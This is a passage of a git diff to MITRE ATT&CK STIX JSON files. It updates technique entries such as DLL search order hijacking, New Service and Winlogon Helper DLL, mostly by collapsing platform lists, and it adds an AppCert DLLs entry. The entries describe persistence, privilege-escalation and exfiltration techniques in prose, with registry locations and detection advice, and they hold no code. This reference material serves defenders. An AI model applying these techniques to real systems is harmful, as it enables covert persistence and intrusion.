parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak",
+            "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nPlatforms: Windows\n\nData Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -60,18 +60,14 @@
                     "source_name": "Mandiant Search Order",
                     "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
                     "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
-                },
-                {
-                    "source_name": "Microsoft DLL Preloading",
-                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.",
-                    "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Stefan Kanthak"
+                "Stefan Kanthak",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "File monitoring",
@@ -93,18 +89,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Ability to add a DLL, manifest file, or .local file, directory, or junction."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790.json b/enterprise-attack/attack-pattern/attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790.json
index 91b0e78e5a..443ee71949 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dddd6bf2-3196-46c7-a27e-fc3e812b7dad",
+    "id": "bundle--70a766f0-0fa0-48fb-9f99-9a6cb54060ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:45.613Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "New Service",
-            "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -54,18 +54,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830.json b/enterprise-attack/attack-pattern/attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830.json
index c22ebfed80..5d4c0d95fb 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5b60ec3-c48b-42e2-84e0-c2c8c6591413",
+    "id": "bundle--4e2c1635-6fe9-4caf-90f4-e73902121b12",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:24.512Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Window Discovery",
-            "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+            "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,20 +36,8 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5.json b/enterprise-attack/attack-pattern/attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5.json
index 0411cc32f4..1e64bee18f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a68f5868-8526-49d8-a64e-ba8d584679fe",
+    "id": "bundle--06600dff-13ba-40fa-b58e-55e6aa5337a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:35.334Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Cryptographic Protocol",
-            "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes",
+            "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -57,21 +57,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63.json b/enterprise-attack/attack-pattern/attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63.json
index a12a5aa64f..42dfb64aed 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de501e72-ae2e-4716-a108-56ddd7c6c310",
+    "id": "bundle--5daf0ac7-88e4-41aa-aac1-deb9b6cbc46d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:50.958Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hypervisor",
-            "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -55,18 +55,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025.json b/enterprise-attack/attack-pattern/attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025.json
new file mode 100644
index 0000000000..028961ddab
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025.json
@@ -0,0 +1,67 @@
+{
+    "type": "bundle",
+    "id": "bundle--c715e4a5-6ead-45f9-a145-86fdc3403a0b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "AppCert DLLs",
+            "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017)\n*CreateProcess\n*CreateProcessAsUser\n*CreateProcessWithLoginW\n*CreateProcessWithTokenW\n*WinExec\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n\nDetection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process Monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1182",
+                    "external_id": "T1182"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "TechNet Autoruns",
+                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+                },
+                {
+                    "source_name": "Sysinternals AppCertDlls Oct 2007",
+                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
+                    "url": "https://forum.sysinternals.com/appcertdlls%20topic12546.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "Loaded DLLs",
+                "Process Monitoring",
+                "Windows Registry"
+            ],
+            "x_mitre_effective_permissions": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466.json b/enterprise-attack/attack-pattern/attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466.json
index ae34906a7b..4e6ad5fb8a 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2b35150a-f412-4543-a3d6-f6c82f8a89f7",
+    "id": "bundle--8d923eb5-b128-4ffc-bbc0-4fb7d6c46815",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:34.139Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scheduled Transfer",
-            "description": "Data exfiltration may be performed only at certain times of day or at certain intervals.  This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Data exfiltration may be performed only at certain times of day or at certain intervals.  This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -34,21 +34,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79.json b/enterprise-attack/attack-pattern/attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79.json
index d82e8c6c3e..7858bec02e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b2098185-3972-4f4a-9ef9-8fe53a0c898c",
+    "id": "bundle--9ca423b5-c575-4426-bbf7-848ad5f806c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:20.148Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Winlogon Helper DLL",
-            "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify</code> that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows XP, Windows Server 2003 R2\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify</code> that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -42,9 +42,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows XP",
-                "Windows Server 2003 R2"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--519630c5-f03f-4882-825c-3af924935817.json b/enterprise-attack/attack-pattern/attack-pattern--519630c5-f03f-4882-825c-3af924935817.json
index 5d5cc939b5..770e7809dc 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--519630c5-f03f-4882-825c-3af924935817.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--519630c5-f03f-4882-825c-3af924935817.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2bec9dbd-531e-4f71-b3b8-9e0823daca5c",
+    "id": "bundle--88e4e05c-a2c8-437c-90d9-0133731acd15",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:22.096Z",
-            "modified": "2017-12-14T16:55:59.600Z",
